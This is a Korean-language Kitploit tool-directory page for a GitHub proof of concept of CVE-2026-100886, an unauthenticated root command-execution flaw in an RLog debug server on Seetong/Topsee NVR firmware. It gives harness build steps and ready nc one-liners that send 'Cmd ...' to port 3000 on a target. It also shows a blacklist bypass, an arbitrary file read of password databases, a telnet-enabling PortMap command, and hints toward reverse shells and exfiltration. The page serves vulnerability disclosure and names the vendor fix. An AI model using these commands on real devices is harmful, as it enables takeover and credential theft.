Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
seetong-ts81xxd3x-rce — CVE-2026-100886 | 인증되지 않은 원격 코드 실행 툴킷. | Kitploit
도구/GitHubGitHub/heapframe/seetong-ts81xxd3x-rce
Embedded Systems SecurityIoT SecurityVulnerability AnalysisExploitationReverse EngineeringHardware & IoT SecurityBinary AnalysisRemote Access ToolFirmware Analysis
GitHubheapframe/seetong-ts81xxd3x-rce

seetong-ts81xxd3x-rce

115017일 전아직 검토되지 않음
공유

CVE-2026-100886 | 인증되지 않은 원격 코드 실행 툴킷.

저장소 보기웹사이트

PoC - RLog 디버그 서버 RCE (CVE-2026-100886)

이 하네스는 펌웨어의 libLOG.so가 TCP/3000에서 RLog 서버를 시작한다는 것을 보여줍니다. 명령 디스패처 분석과 동적 테스트는 해당 서버를 통해 인증 없이 OS 명령이 실행됨을 보여줍니다.

이 하네스는 qemu-arm에서 펌웨어 자체의 libLOG.so를 로드하고, TLog_Init()을 호출하며, 실제 서버는 0.0.0.0:3000에 바인딩되어 어디서든 인증 없이 인바운드 연결을 수락합니다.

취약점

펌웨어는 TCP/3000에서 인증되지 않은 RLog 명령 서버를 노출합니다.

명령 디스패처는 Cmd를 등록하며, 이는 공격자가 제어하는 입력을 TLog_CMD로 전달합니다. TLog_CMD는 궁극적으로 펌웨어 명령 실행 백엔드를 호출합니다.

따라서:

Unauthenticated TCP connection
        ↓
RLog command dispatcher
        ↓
Cmd <attacker-controlled command>
        ↓
TLog_CMD
        ↓
mysystem()
        ↓
/bin/sh
        ↓
command execution

파일

  • harness.c: 영구 버전: 서버를 실행하고 대기합니다 (실제 사용 시 사용)
  • probe_harness.c: 프로브 버전: 에뮬레이터 내부에서 명령 프로브도 시도합니다 (타입 바이트 프레이밍 요구 사항을 보여줌)

아래 스크립트가 sysroot를 생성하는 데 사용하는 펌웨어를 더 이상 다운로드할 수 없는 경우. 다음 중 하나에서 가져올 수 있습니다 (NVR을 이미지 검색하면 됩니다. 펌웨어는 널리 배포되어 있습니다):

  • https://www.fullward.com/index.php?m=home&c=View&a=index&aid=145
  • http://en.tpsee.com/index.php?md=article&ct=lists&catid=24

저는 펌웨어 v4.6.1.4-build202604241011을 사용했습니다. 다른 펌웨어 버전은 아직 테스트되지 않았지만, fullward 같은 다운스트림 드롭시퍼들도 이를 보유하고 있습니다.

빌드

하네스와 동일한 디렉터리에서 다음을 실행하세요

# Download and extract toolchain
wget https://gitlab.arm.com/api/v4/projects/tooling%2Fgnu-toolchains-for-arm/packages/generic/gnu-toolchain/15.3.rel1/arm-gnu-toolchain-15.3.rel1-x86_64-arm-none-linux-gnueabihf.tar.xz
tar -xvf arm-gnu-toolchain-15.3.rel1-x86_64-arm-none-linux-gnueabihf.tar.xz

TC=$(pwd)/arm-gnu-toolchain-15.3.rel1-x86_64-arm-none-linux-gnueabihf

# Creating the sysroot
wget http://www.tpsee.com/upload/firmware/update-ts81xxd3x-v4.6.1.4-build202604241011.bin
binwalk -Me update-ts81xxd3x-v4.6.1.4-build202604241011.bin

mkdir -p sysroot
cp -a "_update-ts81xxd3x-v4.6.1.4-build202604241011.bin.extracted/_0.extracted/tmp/_rootfs.ts81xxd3x.extracted/squashfs-root/lib" sysroot/

cp "_update-ts81xxd3x-v4.6.1.4-build202604241011.bin.extracted/_0.extracted/tmp/_app.ts81xxd3x.extracted/squashfs-root/lib/libLOG.so" \
   "_update-ts81xxd3x-v4.6.1.4-build202604241011.bin.extracted/_0.extracted/tmp/_app.ts81xxd3x.extracted/squashfs-root/lib/libmysystem.so" sysroot/lib/

$TC -march=armv7-a -mthumb -mfloat-abi=soft -nostdlib -ffreestanding -fno-builtin \
    -Wl,--dynamic-linker,/lib/ld-uClibc.so.0 -Wl,-rpath,/lib -Wl,-e,_start -Wl,--export-dynamic \
    harness.c -o harness -L sysroot/lib -lc

libLOG.so가 edvr에서 가져오는 심볼에 대한 스텁 구현을 제공하는 하네스입니다.

실행

qemu-arm -L sysroot ./harness &
sleep 2
ss -tln | grep 3000
# -> LISTEN 0 5 0.0.0.0:3000 0.0.0.0:*  (qemu user-mode forwards the emulated socket to the host)

probe_harness.c에서 관찰된 출력(위 스크립트에서 사용된 것이 아님):

dlopen ok
TLog_Init() -> 0
--- probe port 3000 ---
connect port 3000 OK        (x5 meaning every connection accepted)
REPLY: timeout/none         (plain-text probes ignored: binary type-byte framing required)

사용법

➜  seetong-ts81xxd3x-rce printf 'Cmd cat /etc/os-release > /tmp/rlog_os.txt\r\n' | nc 127.0.0.1 3000
^C% 
➜  seetong-ts81xxd3x-rce cat /tmp/rlog_os.txt 
NAME="Artix Linux"
PRETTY_NAME="Artix Linux"
ID=artix
BUILD_ID=rolling
ANSI_COLOR="38;2;23;147;209"
HOME_URL="https://artixlinux.org/"
DOCUMENTATION_URL="https://wiki.artixlinux.org/"
SUPPORT_URL="https://forum.artixlinux.org/"
BUG_REPORT_URL="https://bugs.artixlinux.org/"
PRIVACY_POLICY_URL="https://terms.artixlinux.org/docs/privacy-policy/"
LOGO=artixlinux-logo
➜  seetong-ts81xxd3x-rce 

Artix Linux는 이 PoC가 호스트 파일시스템을 제대로 격리하지 않기 때문에 qemu 사용자 모드가 호스트 파일시스템을 공유하는 결과로 표시됩니다.

명령 디스패처 세부 사항

AI 고지: 아래 텍스트는 AI가 생성한 것입니다

등록된 명령 (모듈 "RLog", LogModuleRegCmd @ 0x8f94)

명령핸들러효과
StartDebug, StartLog, SetLogLevel, Help, StartAutoTestvarious로깅/자체 테스트 제어
GetSystemStatus, GetSystemInfo, GetSystemLog, GetSystemCfgTLog_Get*정보/설정/로그 노출
GetSystemFile [abs names]TLog_GetSystemFile (0x7a94) + TLog_SendFile (0x48f0)임의 파일 읽기 (/etc/shadow, /usr/local/etc/user.db, ...)
GetPrintfFileTLog_GetPrintfFile파일 읽기
Cmd [System commands]TLog_CMD (0x3680)root 권한으로 셸 명령 실행
PortMap on <ip> <port> / PortMap offfcn.00008b76역방향 TUN 터널 + 포트 23의 telnetd

TLog_CMD (0x3680) — 원격 셸

  • 명령을 복사합니다 (최대 48자, ; \r \n에서 중지).
  • 블랙리스트 = 정확히 일치 {vi, cd, top, if, killcmd} (strcmp) — 손쉽게 우회 가능 (cat, sh, 따옴표 사용).
  • 백그라운드 모드 형식 문자열 "%s -b" → sh -c를 통해 실행.
  • 종료 헬퍼 문자열: ps -ef | grep "sh -c %s" |grep -v grep, '{print $1}' | xargs kill -9.
  • 실행 백엔드: mysystem() (libmysystem.so) → **/usr/sbin/systemd**로의 IPC (가짜 systemd, root 권한으로 /bin/sh를 통해 실행; 문자열 "[systemd cmd:]%s", "[systemd ret:]%d").

블랙리스트 데모 (2026-08-04, 에뮬레이션된 서버):

Cmd vi > /tmp/bl_vi                → dropped (no file created)
Cmd cat /etc/hostname > /tmp/bl_cat → executed (file contains hostname)
Cmd v''i > /tmp/bl_bypass          → BLACKLIST BYPASSED (shell sees `vi`, strcmp sees `v''i`)

PortMap 핸들러 (fcn.00008b76) — 터널 + 텔넷

  • PortMap on <ip> <port>를 파싱합니다 (3개 필드 필요).
  • portmap_client_start(ip, port) (0x88b0):
    • system("lsmod | grep -q '^tun\\b' || insmod /config/modules/4.9.84/tun.ko")
    • /dev/net/tun을 열고, 인터페이스 **tps0**를 생성하며, ifconfig tps0 up을 실행합니다
    • /mnt/nand/yun_id.txt, /etc/product_type.txt를 읽습니다
    • 성공 시: system("touch /usr/local/etc/normal_telnet") (0x897e→0x8982)
  • 그런 다음 핸들러는 system("killall telnetd") (0x8c1e)와 system("telnetd -p 23 &") (0x8c32)를 실행합니다.
  • portmap_client_stop (0x8a48) → system("rm -f /usr/local/etc/normal_telnet"), ifconfig tps0 down.
  • 관련 익스포트: portmap_client_get_status, portmap_client_is_running, portmap_client_get_assigned_ip.
  • 로그 문자열: "usage: PortMap on <ip> <port> | PortMap off\n", "PortMap on: IP=%s, Port=%d\n", "PortMap start success! ret:%d", "PortMap stop success!".

기타 주목할 만한 문자열

  • "rm %s/* -rf" (0xad10) — 로그 디렉터리 정리(TLog_DeleteLogFile)에서 사용됩니다.

동적 검증 (2026-08-04)

하네스(harness.c)는 libLOG.so를 dlopen하고, edvr 임포트를 스텁으로 대체한 뒤, TLog_Init()을 호출합니다:

dlopen ok
TLog_Init() -> 0

호스트 측(qemu 사용자 모드 소켓 패스스루):

LISTEN  0  5  0.0.0.0:3000  0.0.0.0:*  users:(("qemu-arm",pid=...,fd=0))

명령 실행 증명(일반 텍스트, 인증 없음):

$ printf 'Cmd touch /tmp/rlog_pwned\r\n' | nc <target> 3000        # file created
$ printf 'Cmd id > /tmp/rlog_id.txt\r\n' | nc <target> 3000      # id output captured

둘 다 에뮬레이션된 서버에서 검증되었습니다. 명령은 mysystem() → /usr/sbin/systemd → /bin/sh(디바이스에서 root)를 통해 실행됩니다. 소켓으로는 출력이 반환되지 않습니다(블라인드 RCE; 대역 외 유출을 사용하십시오. 예: Cmd cat /usr/local/etc/user.db > /mnt/... 또는 리버스 셸).

영향: 인증되지 않은 네트워크 공격자는 누구나 root 권한으로 셸 명령을 실행하고, 모든 파일(평문 비밀번호 DB 및 비밀번호가 유출되는 로그 포함)을 읽고, telnet을 포트 23으로 전환할 수 있습니다. LAN에서는 이는 게임 오버이며, 인터넷에 노출된 장비에서도 마찬가지입니다.

벤더 수정

벤더(Shenzhen Topsee Technology Co., Ltd., "TOPSEE" / "Seetong")는 수정된 펌웨어 V4.6.2.0(2026-10-29)을 출시했으며, 다음에서 제공됩니다: http://en.tpsee.com/index.php?md=article&ct=lists&catid=24

이는 영향을 받는 모델 T8108, T8108P, T8116 및 T8232에 해당하는 TS81xxD3x, TS8232C10 및 TS8xxxG 시리즈에 적용됩니다. 이러한 디바이스 사용자는 업그레이드해야 합니다.

벤더 권고: http://en.tpsee.com/index.php?md=article&ct=show&catid=58&id=243

도구 다운로드

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

아직 인기 데이터가 없습니다.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →